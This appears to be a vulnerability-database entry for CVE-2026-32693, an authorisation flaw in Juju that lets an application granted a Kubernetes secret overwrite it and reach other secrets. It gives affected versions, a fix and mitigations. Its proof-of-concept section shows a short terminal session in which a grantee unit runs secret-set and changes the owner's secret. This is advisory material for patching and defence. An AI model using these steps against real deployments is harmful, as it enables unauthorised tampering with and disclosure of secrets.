CVE-2026-32693 is a high-severity (CVSS 8.8) CWE-284 vulnerability in github.com/juju/juju. A fix is available for github.com/juju/juju — see the affected versions and patch details below.
Unauthorized access to Kubernetes secrets in Juju
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32693.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/juju/jujuReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Grantee is able to update secret content using the secret-set tool due to broad Kubernetes access policy.
Implications are that it is possible, knowing a Kubernetes secret identifier (e.g. name), to patch without affecting the secret, revealing the value, or, patching while affecting the secrets value.
Details
When a Juju secret is "granted" to an app, that app should be able to read the secret content but not modify it, and should be able to only read secrets that have been granted to it.
Authorization of the secret-set hook tool / controller request is not performed correctly, which allows the grantee to update the secret content and to read or affect other secrets.
PoC
Tested:
- two applications in the same controller, same model: one owns the secret, another get a grant
- relation between them
- secret grant
- Linux AMD64, Canonical K8s, Juju 3.6.8 controller, Juju 3.6.9 CLI
Not tested:
- admin (user) secrets
- cross-model relations
- cross-controller relations
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-add nice=little-value"
secret://9cf1319c-4f4b-44f8-891b-9d1c7d8d3b52/d350nbnmp25c76301ht0
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju show-unit ingress2/0
ingress2/0:
workload-version: 24.2.0
opened-ports: []
charm: ch:amd64/nginx-ingress-integrator-203
leader: true
life: alive
relation-info:
- relation-id: 11
endpoint: ingress
related-endpoint: ingress
application-data: {}
related-units:
evilator/0:
in-scope: true
data:
egress-subnets: 10.152.183.39/32
ingress-address: 10.152.183.39
private-address: 10.152.183.39
- relation-id: 10
endpoint: nginx-peers
related-endpoint: nginx-peers
application-data: {}
local-unit:
in-scope: true
data:
egress-subnets: 10.152.183.135/32
ingress-address: 10.152.183.135
private-address: 10.152.183.135
provider-id: ingress2-0
address: 10.1.0.100
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-grant d350nbnmp25c76301ht0 --relation 11"
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit evilator/0 "secret-set d350nbnmp25c76301ht0 nice=who-is-nice-now"
updating secrets: permission denied
⋊> dima@bb ⋊> /c/hexanator on main ◦ juju exec --unit ingress2/0 "secret-get d350nbnmp25c76301ht0"
nice: who-is-nice-now
When the grantee attempts to update the the granted secret:
secret-setcommand logs an error, though returns OK return status- the secret value is updated
- new secret revision is not created
- new value is visible to both owner and grantee
Impact
- the application that owns the secret
- a third application, if a secret is granted to multiple parties
- any other application that has secrets in the same Kubernetes secret backend
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/juju/juju | ≥ 0.0.0-20221021155847-35c560704ee2&&< 0.0.0-20260319091847-d06919eb03ec | 0.0.0-20260319091847-d06919eb03ecgo get github.com/juju/juju@v0.0.0-20260319091847-d06919eb03ec |
Affected Products
jujucanonicalDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/juju/juju, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/juju/juju to 0.0.0-20260319091847-d06919eb03ec or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32693 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-32693 in your dependencies?
Find it across Go, including transitive dependencies.